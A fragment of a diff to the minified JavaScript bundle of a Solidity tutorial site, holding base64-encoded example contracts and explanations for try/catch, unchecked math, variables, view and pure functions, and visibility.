DAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDEpID0+IExvZ0J5dGVzKCIiKQogICAgLy8gdHJ5Q2F0Y2hOZXdDb250cmFjdCgweDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDIpID0+IExvZygiRm9vIGNyZWF0ZWQiKQogICAgZnVuY3Rpb24gdHJ5Q2F0Y2hOZXdDb250cmFjdChhZGRyZXNzIF9vd25lcikgcHVibGljIHsKICAgICAgICB0cnkgbmV3IEZvbyhfb3duZXIpIHJldHVybnMgKEZvbyBmb28pIHsKICAgICAgICAgICAgLy8geW91IGNhbiB1c2UgdmFyaWFibGUgZm9vIGhlcmUKICAgICAgICAgICAgZW1pdCBMb2coIkZvbyBjcmVhdGVkIik7CiAgICAgICAgfSBjYXRjaCBFcnJvcihzdHJpbmcgbWVtb3J5IHJlYXNvbikgewogICAgICAgICAgICAvLyBjYXRjaCBmYWlsaW5nIHJldmVydCgpIGFuZCByZXF1aXJlKCkKICAgICAgICAgICAgZW1pdCBMb2cocmVhc29uKTsKICAgICAgICB9IGNhdGNoIChieXRlcyBtZW1vcnkgcmVhc29uKSB7CiAgICAgICAgICAgIC8vIGNhdGNoIGZhaWxpbmcgYXNzZXJ0KCkKICAgICAgICAgICAgZW1pdCBMb2dCeXRlcyhyZWFzb24pOwogICAgICAgIH0KICAgIH0KfQo="}],Z2=`

                                              try / catch can only catch errors from external function calls and contract creation.

                                              +`,y2=({prev:s,next:a})=>r.jsx(A,{version:d2,title:C2,description:j2,html:u2,prev:s,next:a,codes:A2}),m2="0.8.24",b2="Try Catch",w2="An example of try / catch in Solidity",k2=[{fileName:"TryCatch.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIEV4dGVybmFsIGNvbnRyYWN0IHVzZWQgZm9yIHRyeSAvIGNhdGNoIGV4YW1wbGVzCmNvbnRyYWN0IEZvbyB7CiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIF9vd25lcikgewogICAgICAgIHJlcXVpcmUoX293bmVyICE9IGFkZHJlc3MoMCksICJpbnZhbGlkIGFkZHJlc3MiKTsKICAgICAgICBhc3NlcnQoX293bmVyICE9IDB4MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMSk7CiAgICAgICAgb3duZXIgPSBfb3duZXI7CiAgICB9CgogICAgZnVuY3Rpb24gbXlGdW5jKHVpbnQyNTYgeCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJlcXVpcmUoeCAhPSAwLCAicmVxdWlyZSBmYWlsZWQiKTsKICAgICAgICByZXR1cm4gIm15IGZ1bmMgd2FzIGNhbGxlZCI7CiAgICB9Cn0KCmNvbnRyYWN0IEJhciB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwogICAgZXZlbnQgTG9nQnl0ZXMoYnl0ZXMgZGF0YSk7CgogICAgRm9vIHB1YmxpYyBmb287CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgLy8gVGhpcyBGb28gY29udHJhY3QgaXMgdXNlZCBmb3IgZXhhbXBsZSBvZiB0cnkgY2F0Y2ggd2l0aCBleHRlcm5hbCBjYWxsCiAgICAgICAgZm9vID0gbmV3IEZvbyhtc2cuc2VuZGVyKTsKICAgIH0KCiAgICAvLyBFeGFtcGxlIG9mIHRyeSAvIGNhdGNoIHdpdGggZXh0ZXJuYWwgY2FsbAogICAgLy8gdHJ5Q2F0Y2hFeHRlcm5hbENhbGwoMCkgPT4gTG9nKCJleHRlcm5hbCBjYWxsIGZhaWxlZCIpCiAgICAvLyB0cnlDYXRjaEV4dGVybmFsQ2FsbCgxKSA9PiBMb2coIm15IGZ1bmMgd2FzIGNhbGxlZCIpCiAgICBmdW5jdGlvbiB0cnlDYXRjaEV4dGVybmFsQ2FsbCh1aW50MjU2IF9pKSBwdWJsaWMgewogICAgICAgIHRyeSBmb28ubXlGdW5jKF9pKSByZXR1cm5zIChzdHJpbmcgbWVtb3J5IHJlc3VsdCkgewogICAgICAgICAgICBlbWl0IExvZyhyZXN1bHQpOwogICAgICAgIH0gY2F0Y2ggewogICAgICAgICAgICBlbWl0IExvZygiZXh0ZXJuYWwgY2FsbCBmYWlsZWQiKTsKICAgICAgICB9CiAgICB9CgogICAgLy8gRXhhbXBsZSBvZiB0cnkgLyBjYXRjaCB3aXRoIGNvbnRyYWN0IGNyZWF0aW9uCiAgICAvLyB0cnlDYXRjaE5ld0NvbnRyYWN0KDB4MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMCkgPT4gTG9nKCJpbnZhbGlkIGFkZHJlc3MiKQogICAgLy8gdHJ5Q2F0Y2hOZXdDb250cmFjdCgweDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDEpID0+IExvZ0J5dGVzKCIiKQogICAgLy8gdHJ5Q2F0Y2hOZXdDb250cmFjdCgweDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDIpID0+IExvZygiRm9vIGNyZWF0ZWQiKQogICAgZnVuY3Rpb24gdHJ5Q2F0Y2hOZXdDb250cmFjdChhZGRyZXNzIF9vd25lcikgcHVibGljIHsKICAgICAgICB0cnkgbmV3IEZvbyhfb3duZXIpIHJldHVybnMgKEZvbyBmb28pIHsKICAgICAgICAgICAgLy8geW91IGNhbiB1c2UgdmFyaWFibGUgZm9vIGhlcmUKICAgICAgICAgICAgZW1pdCBMb2coIkZvbyBjcmVhdGVkIik7CiAgICAgICAgfSBjYXRjaCBFcnJvcihzdHJpbmcgbWVtb3J5IHJlYXNvbikgewogICAgICAgICAgICAvLyBjYXRjaCBmYWlsaW5nIHJldmVydCgpIGFuZCByZXF1aXJlKCkKICAgICAgICAgICAgZW1pdCBMb2cocmVhc29uKTsKICAgICAgICB9IGNhdGNoIChieXRlcyBtZW1vcnkgcmVhc29uKSB7CiAgICAgICAgICAgIC8vIGNhdGNoIGZhaWxpbmcgYXNzZXJ0KCkKICAgICAgICAgICAgZW1pdCBMb2dCeXRlcyhyZWFzb24pOwogICAgICAgIH0KICAgIH0KfQo="}],Z2=`

                                              try / catch can only catch errors from external function calls and contract creation.

                                              // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -11939,7 +11939,7 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller
         }
     }
 }
-
                                              `,W2=({prev:s,next:a})=>r.jsx(u,{version:m2,title:b2,description:w2,html:Z2,prev:s,next:a,codes:k2}),B2="0.8.24",G2="Unchecked Math",V2="An example of unchecked math in Solidity",f2=[{fileName:"UncheckedMath.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuY2hlY2tlZE1hdGggewogICAgZnVuY3Rpb24gYWRkKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICAvLyAyMjI5MSBnYXMKICAgICAgICAvLyByZXR1cm4geCArIHk7CgogICAgICAgIC8vIDIyMTAzIGdhcwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHJldHVybiB4ICsgeTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc3ViKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICAvLyAyMjMyOSBnYXMKICAgICAgICAvLyByZXR1cm4geCAtIHk7CgogICAgICAgIC8vIDIyMTQ3IGdhcwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHJldHVybiB4IC0geTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc3VtT2ZDdWJlcyh1aW50MjU2IHgsIHVpbnQyNTYgeSkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgLy8gV3JhcCBjb21wbGV4IG1hdGggbG9naWMgaW5zaWRlIHVuY2hlY2tlZAogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHVpbnQyNTYgeDMgPSB4ICogeCAqIHg7CiAgICAgICAgICAgIHVpbnQyNTYgeTMgPSB5ICogeSAqIHk7CgogICAgICAgICAgICByZXR1cm4geDMgKyB5MzsKICAgICAgICB9CiAgICB9Cn0K"}],Y2=`

                                              Overflow and underflow of numbers in Solidity 0.8 throw an error. This can be disabled by using unchecked.

                                              +`,W2=({prev:s,next:a})=>r.jsx(A,{version:m2,title:b2,description:w2,html:Z2,prev:s,next:a,codes:k2}),B2="0.8.24",G2="Unchecked Math",V2="An example of unchecked math in Solidity",f2=[{fileName:"UncheckedMath.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuY2hlY2tlZE1hdGggewogICAgZnVuY3Rpb24gYWRkKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICAvLyAyMjI5MSBnYXMKICAgICAgICAvLyByZXR1cm4geCArIHk7CgogICAgICAgIC8vIDIyMTAzIGdhcwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHJldHVybiB4ICsgeTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc3ViKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICAvLyAyMjMyOSBnYXMKICAgICAgICAvLyByZXR1cm4geCAtIHk7CgogICAgICAgIC8vIDIyMTQ3IGdhcwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHJldHVybiB4IC0geTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gc3VtT2ZDdWJlcyh1aW50MjU2IHgsIHVpbnQyNTYgeSkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgLy8gV3JhcCBjb21wbGV4IG1hdGggbG9naWMgaW5zaWRlIHVuY2hlY2tlZAogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHVpbnQyNTYgeDMgPSB4ICogeCAqIHg7CiAgICAgICAgICAgIHVpbnQyNTYgeTMgPSB5ICogeSAqIHk7CgogICAgICAgICAgICByZXR1cm4geDMgKyB5MzsKICAgICAgICB9CiAgICB9Cn0K"}],Y2=`

                                              Overflow and underflow of numbers in Solidity 0.8 throw an error. This can be disabled by using unchecked.

                                              Disabling overflow / underflow check saves gas.

                                              // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -11975,7 +11975,7 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller
         }
     }
 }
-
                                              `,R2=({prev:s,next:a})=>r.jsx(u,{version:B2,title:G2,description:V2,html:Y2,prev:s,next:a,codes:f2}),X2="0.8.24",v2="Variables",N2="Local, state and global variables",H2=[{fileName:"Variables.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFZhcmlhYmxlcyB7CiAgICAvLyBTdGF0ZSB2YXJpYWJsZXMgYXJlIHN0b3JlZCBvbiB0aGUgYmxvY2tjaGFpbi4KICAgIHN0cmluZyBwdWJsaWMgdGV4dCA9ICJIZWxsbyI7CiAgICB1aW50MjU2IHB1YmxpYyBudW0gPSAxMjM7CgogICAgZnVuY3Rpb24gZG9Tb21ldGhpbmcoKSBwdWJsaWMgewogICAgICAgIC8vIExvY2FsIHZhcmlhYmxlcyBhcmUgbm90IHNhdmVkIHRvIHRoZSBibG9ja2NoYWluLgogICAgICAgIHVpbnQyNTYgaSA9IDQ1NjsKCiAgICAgICAgLy8gSGVyZSBhcmUgc29tZSBnbG9iYWwgdmFyaWFibGVzCiAgICAgICAgdWludDI1NiB0aW1lc3RhbXAgPSBibG9jay50aW1lc3RhbXA7IC8vIEN1cnJlbnQgYmxvY2sgdGltZXN0YW1wCiAgICAgICAgYWRkcmVzcyBzZW5kZXIgPSBtc2cuc2VuZGVyOyAvLyBhZGRyZXNzIG9mIHRoZSBjYWxsZXIKICAgIH0KfQo="}],F2=`

                                              There are 3 types of variables in Solidity

                                              +`,R2=({prev:s,next:a})=>r.jsx(A,{version:B2,title:G2,description:V2,html:Y2,prev:s,next:a,codes:f2}),X2="0.8.24",v2="Variables",N2="Local, state and global variables",H2=[{fileName:"Variables.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFZhcmlhYmxlcyB7CiAgICAvLyBTdGF0ZSB2YXJpYWJsZXMgYXJlIHN0b3JlZCBvbiB0aGUgYmxvY2tjaGFpbi4KICAgIHN0cmluZyBwdWJsaWMgdGV4dCA9ICJIZWxsbyI7CiAgICB1aW50MjU2IHB1YmxpYyBudW0gPSAxMjM7CgogICAgZnVuY3Rpb24gZG9Tb21ldGhpbmcoKSBwdWJsaWMgewogICAgICAgIC8vIExvY2FsIHZhcmlhYmxlcyBhcmUgbm90IHNhdmVkIHRvIHRoZSBibG9ja2NoYWluLgogICAgICAgIHVpbnQyNTYgaSA9IDQ1NjsKCiAgICAgICAgLy8gSGVyZSBhcmUgc29tZSBnbG9iYWwgdmFyaWFibGVzCiAgICAgICAgdWludDI1NiB0aW1lc3RhbXAgPSBibG9jay50aW1lc3RhbXA7IC8vIEN1cnJlbnQgYmxvY2sgdGltZXN0YW1wCiAgICAgICAgYWRkcmVzcyBzZW5kZXIgPSBtc2cuc2VuZGVyOyAvLyBhZGRyZXNzIG9mIHRoZSBjYWxsZXIKICAgIH0KfQo="}],F2=`

                                              There are 3 types of variables in Solidity

                                              • local
                                                • declared inside a function
                                                  • @@ -12006,7 +12006,7 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller address sender = msg.sender; // address of the caller } } -`,K2=({prev:s,next:a})=>r.jsx(u,{version:X2,title:v2,description:N2,html:F2,prev:s,next:a,codes:H2}),M2="0.8.24",S2="View and Pure Functions",x2="An example of view and pure functions in Solidity",J2=[{fileName:"ViewAndPureFunctions.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFZpZXdBbmRQdXJlIHsKICAgIHVpbnQyNTYgcHVibGljIHggPSAxOwoKICAgIC8vIFByb21pc2Ugbm90IHRvIG1vZGlmeSB0aGUgc3RhdGUuCiAgICBmdW5jdGlvbiBhZGRUb1godWludDI1NiB5KSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIHggKyB5OwogICAgfQoKICAgIC8vIFByb21pc2Ugbm90IHRvIG1vZGlmeSBvciByZWFkIGZyb20gdGhlIHN0YXRlLgogICAgZnVuY3Rpb24gYWRkKHVpbnQyNTYgaSwgdWludDI1NiBqKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGkgKyBqOwogICAgfQp9Cg=="}],z2=`

                                                  Getter functions can be declared view or pure.

                                                  +`,K2=({prev:s,next:a})=>r.jsx(A,{version:X2,title:v2,description:N2,html:F2,prev:s,next:a,codes:H2}),M2="0.8.24",S2="View and Pure Functions",x2="An example of view and pure functions in Solidity",J2=[{fileName:"ViewAndPureFunctions.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFZpZXdBbmRQdXJlIHsKICAgIHVpbnQyNTYgcHVibGljIHggPSAxOwoKICAgIC8vIFByb21pc2Ugbm90IHRvIG1vZGlmeSB0aGUgc3RhdGUuCiAgICBmdW5jdGlvbiBhZGRUb1godWludDI1NiB5KSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIHggKyB5OwogICAgfQoKICAgIC8vIFByb21pc2Ugbm90IHRvIG1vZGlmeSBvciByZWFkIGZyb20gdGhlIHN0YXRlLgogICAgZnVuY3Rpb24gYWRkKHVpbnQyNTYgaSwgdWludDI1NiBqKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGkgKyBqOwogICAgfQp9Cg=="}],z2=`

                                                  Getter functions can be declared view or pure.

                                                  View function declares that no state will be changed.

                                                  Pure function declares that no state variable will be changed or read.

                                                  // SPDX-License-Identifier: MIT
@@ -12025,7 +12025,7 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller
         return i + j;
     }
 }
-
                                                  `,D2=({prev:s,next:a})=>r.jsx(u,{version:M2,title:S2,description:x2,html:z2,prev:s,next:a,codes:J2}),E2="0.8.24",Q2="Visibility",T2="An example of external, internal, private and public functions in Solidity",U2=[{fileName:"Visibility.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEJhc2UgewogICAgLy8gUHJpdmF0ZSBmdW5jdGlvbiBjYW4gb25seSBiZSBjYWxsZWQKICAgIC8vIC0gaW5zaWRlIHRoaXMgY29udHJhY3QKICAgIC8vIENvbnRyYWN0cyB0aGF0IGluaGVyaXQgdGhpcyBjb250cmFjdCBjYW5ub3QgY2FsbCB0aGlzIGZ1bmN0aW9uLgogICAgZnVuY3Rpb24gcHJpdmF0ZUZ1bmMoKSBwcml2YXRlIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAicHJpdmF0ZSBmdW5jdGlvbiBjYWxsZWQiOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RQcml2YXRlRnVuYygpIHB1YmxpYyBwdXJlIHJldHVybnMgKHN0cmluZyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gcHJpdmF0ZUZ1bmMoKTsKICAgIH0KCiAgICAvLyBJbnRlcm5hbCBmdW5jdGlvbiBjYW4gYmUgY2FsbGVkCiAgICAvLyAtIGluc2lkZSB0aGlzIGNvbnRyYWN0CiAgICAvLyAtIGluc2lkZSBjb250cmFjdHMgdGhhdCBpbmhlcml0IHRoaXMgY29udHJhY3QKICAgIGZ1bmN0aW9uIGludGVybmFsRnVuYygpIGludGVybmFsIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiaW50ZXJuYWwgZnVuY3Rpb24gY2FsbGVkIjsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0SW50ZXJuYWxGdW5jKCkgcHVibGljIHB1cmUgdmlydHVhbCByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGludGVybmFsRnVuYygpOwogICAgfQoKICAgIC8vIFB1YmxpYyBmdW5jdGlvbnMgY2FuIGJlIGNhbGxlZAogICAgLy8gLSBpbnNpZGUgdGhpcyBjb250cmFjdAogICAgLy8gLSBpbnNpZGUgY29udHJhY3RzIHRoYXQgaW5oZXJpdCB0aGlzIGNvbnRyYWN0CiAgICAvLyAtIGJ5IG90aGVyIGNvbnRyYWN0cyBhbmQgYWNjb3VudHMKICAgIGZ1bmN0aW9uIHB1YmxpY0Z1bmMoKSBwdWJsaWMgcHVyZSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuICJwdWJsaWMgZnVuY3Rpb24gY2FsbGVkIjsKICAgIH0KCiAgICAvLyBFeHRlcm5hbCBmdW5jdGlvbnMgY2FuIG9ubHkgYmUgY2FsbGVkCiAgICAvLyAtIGJ5IG90aGVyIGNvbnRyYWN0cyBhbmQgYWNjb3VudHMKICAgIGZ1bmN0aW9uIGV4dGVybmFsRnVuYygpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiZXh0ZXJuYWwgZnVuY3Rpb24gY2FsbGVkIjsKICAgIH0KCiAgICAvLyBUaGlzIGZ1bmN0aW9uIHdpbGwgbm90IGNvbXBpbGUgc2luY2Ugd2UncmUgdHJ5aW5nIHRvIGNhbGwKICAgIC8vIGFuIGV4dGVybmFsIGZ1bmN0aW9uIGhlcmUuCiAgICAvLyBmdW5jdGlvbiB0ZXN0RXh0ZXJuYWxGdW5jKCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgLy8gICAgIHJldHVybiBleHRlcm5hbEZ1bmMoKTsKICAgIC8vIH0KCiAgICAvLyBTdGF0ZSB2YXJpYWJsZXMKICAgIHN0cmluZyBwcml2YXRlIHByaXZhdGVWYXIgPSAibXkgcHJpdmF0ZSB2YXJpYWJsZSI7CiAgICBzdHJpbmcgaW50ZXJuYWwgaW50ZXJuYWxWYXIgPSAibXkgaW50ZXJuYWwgdmFyaWFibGUiOwogICAgc3RyaW5nIHB1YmxpYyBwdWJsaWNWYXIgPSAibXkgcHVibGljIHZhcmlhYmxlIjsKICAgIC8vIFN0YXRlIHZhcmlhYmxlcyBjYW5ub3QgYmUgZXh0ZXJuYWwgc28gdGhpcyBjb2RlIHdvbid0IGNvbXBpbGUuCiAgICAvLyBzdHJpbmcgZXh0ZXJuYWwgZXh0ZXJuYWxWYXIgPSAibXkgZXh0ZXJuYWwgdmFyaWFibGUiOwp9Cgpjb250cmFjdCBDaGlsZCBpcyBCYXNlIHsKICAgIC8vIEluaGVyaXRlZCBjb250cmFjdHMgZG8gbm90IGhhdmUgYWNjZXNzIHRvIHByaXZhdGUgZnVuY3Rpb25zCiAgICAvLyBhbmQgc3RhdGUgdmFyaWFibGVzLgogICAgLy8gZnVuY3Rpb24gdGVzdFByaXZhdGVGdW5jKCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgLy8gICAgIHJldHVybiBwcml2YXRlRnVuYygpOwogICAgLy8gfQoKICAgIC8vIEludGVybmFsIGZ1bmN0aW9uIGNhbiBiZSBjYWxsZWQgaW5zaWRlIGNoaWxkIGNvbnRyYWN0cy4KICAgIGZ1bmN0aW9uIHRlc3RJbnRlcm5hbEZ1bmMoKSBwdWJsaWMgcHVyZSBvdmVycmlkZSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGludGVybmFsRnVuYygpOwogICAgfQp9Cg=="}],_2=`

                                                  Functions and state variables have to declare whether they are accessible by other contracts.

                                                  +`,D2=({prev:s,next:a})=>r.jsx(A,{version:M2,title:S2,description:x2,html:z2,prev:s,next:a,codes:J2}),E2="0.8.24",Q2="Visibility",T2="An example of external, internal, private and public functions in Solidity",U2=[{fileName:"Visibility.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEJhc2UgewogICAgLy8gUHJpdmF0ZSBmdW5jdGlvbiBjYW4gb25seSBiZSBjYWxsZWQKICAgIC8vIC0gaW5zaWRlIHRoaXMgY29udHJhY3QKICAgIC8vIENvbnRyYWN0cyB0aGF0IGluaGVyaXQgdGhpcyBjb250cmFjdCBjYW5ub3QgY2FsbCB0aGlzIGZ1bmN0aW9uLgogICAgZnVuY3Rpb24gcHJpdmF0ZUZ1bmMoKSBwcml2YXRlIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAicHJpdmF0ZSBmdW5jdGlvbiBjYWxsZWQiOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RQcml2YXRlRnVuYygpIHB1YmxpYyBwdXJlIHJldHVybnMgKHN0cmluZyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gcHJpdmF0ZUZ1bmMoKTsKICAgIH0KCiAgICAvLyBJbnRlcm5hbCBmdW5jdGlvbiBjYW4gYmUgY2FsbGVkCiAgICAvLyAtIGluc2lkZSB0aGlzIGNvbnRyYWN0CiAgICAvLyAtIGluc2lkZSBjb250cmFjdHMgdGhhdCBpbmhlcml0IHRoaXMgY29udHJhY3QKICAgIGZ1bmN0aW9uIGludGVybmFsRnVuYygpIGludGVybmFsIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiaW50ZXJuYWwgZnVuY3Rpb24gY2FsbGVkIjsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0SW50ZXJuYWxGdW5jKCkgcHVibGljIHB1cmUgdmlydHVhbCByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGludGVybmFsRnVuYygpOwogICAgfQoKICAgIC8vIFB1YmxpYyBmdW5jdGlvbnMgY2FuIGJlIGNhbGxlZAogICAgLy8gLSBpbnNpZGUgdGhpcyBjb250cmFjdAogICAgLy8gLSBpbnNpZGUgY29udHJhY3RzIHRoYXQgaW5oZXJpdCB0aGlzIGNvbnRyYWN0CiAgICAvLyAtIGJ5IG90aGVyIGNvbnRyYWN0cyBhbmQgYWNjb3VudHMKICAgIGZ1bmN0aW9uIHB1YmxpY0Z1bmMoKSBwdWJsaWMgcHVyZSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuICJwdWJsaWMgZnVuY3Rpb24gY2FsbGVkIjsKICAgIH0KCiAgICAvLyBFeHRlcm5hbCBmdW5jdGlvbnMgY2FuIG9ubHkgYmUgY2FsbGVkCiAgICAvLyAtIGJ5IG90aGVyIGNvbnRyYWN0cyBhbmQgYWNjb3VudHMKICAgIGZ1bmN0aW9uIGV4dGVybmFsRnVuYygpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiZXh0ZXJuYWwgZnVuY3Rpb24gY2FsbGVkIjsKICAgIH0KCiAgICAvLyBUaGlzIGZ1bmN0aW9uIHdpbGwgbm90IGNvbXBpbGUgc2luY2Ugd2UncmUgdHJ5aW5nIHRvIGNhbGwKICAgIC8vIGFuIGV4dGVybmFsIGZ1bmN0aW9uIGhlcmUuCiAgICAvLyBmdW5jdGlvbiB0ZXN0RXh0ZXJuYWxGdW5jKCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgLy8gICAgIHJldHVybiBleHRlcm5hbEZ1bmMoKTsKICAgIC8vIH0KCiAgICAvLyBTdGF0ZSB2YXJpYWJsZXMKICAgIHN0cmluZyBwcml2YXRlIHByaXZhdGVWYXIgPSAibXkgcHJpdmF0ZSB2YXJpYWJsZSI7CiAgICBzdHJpbmcgaW50ZXJuYWwgaW50ZXJuYWxWYXIgPSAibXkgaW50ZXJuYWwgdmFyaWFibGUiOwogICAgc3RyaW5nIHB1YmxpYyBwdWJsaWNWYXIgPSAibXkgcHVibGljIHZhcmlhYmxlIjsKICAgIC8vIFN0YXRlIHZhcmlhYmxlcyBjYW5ub3QgYmUgZXh0ZXJuYWwgc28gdGhpcyBjb2RlIHdvbid0IGNvbXBpbGUuCiAgICAvLyBzdHJpbmcgZXh0ZXJuYWwgZXh0ZXJuYWxWYXIgPSAibXkgZXh0ZXJuYWwgdmFyaWFibGUiOwp9Cgpjb250cmFjdCBDaGlsZCBpcyBCYXNlIHsKICAgIC8vIEluaGVyaXRlZCBjb250cmFjdHMgZG8gbm90IGhhdmUgYWNjZXNzIHRvIHByaXZhdGUgZnVuY3Rpb25zCiAgICAvLyBhbmQgc3RhdGUgdmFyaWFibGVzLgogICAgLy8gZnVuY3Rpb24gdGVzdFByaXZhdGVGdW5jKCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgLy8gICAgIHJldHVybiBwcml2YXRlRnVuYygpOwogICAgLy8gfQoKICAgIC8vIEludGVybmFsIGZ1bmN0aW9uIGNhbiBiZSBjYWxsZWQgaW5zaWRlIGNoaWxkIGNvbnRyYWN0cy4KICAgIGZ1bmN0aW9uIHRlc3RJbnRlcm5hbEZ1bmMoKSBwdWJsaWMgcHVyZSBvdmVycmlkZSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGludGVybmFsRnVuYygpOwogICAgfQp9Cg=="}],_2=`

                                                  Functions and state variables have to declare whether they are accessible by other contracts.

                                                  Functions can be declared as

                                                  • public - any contract and account can call
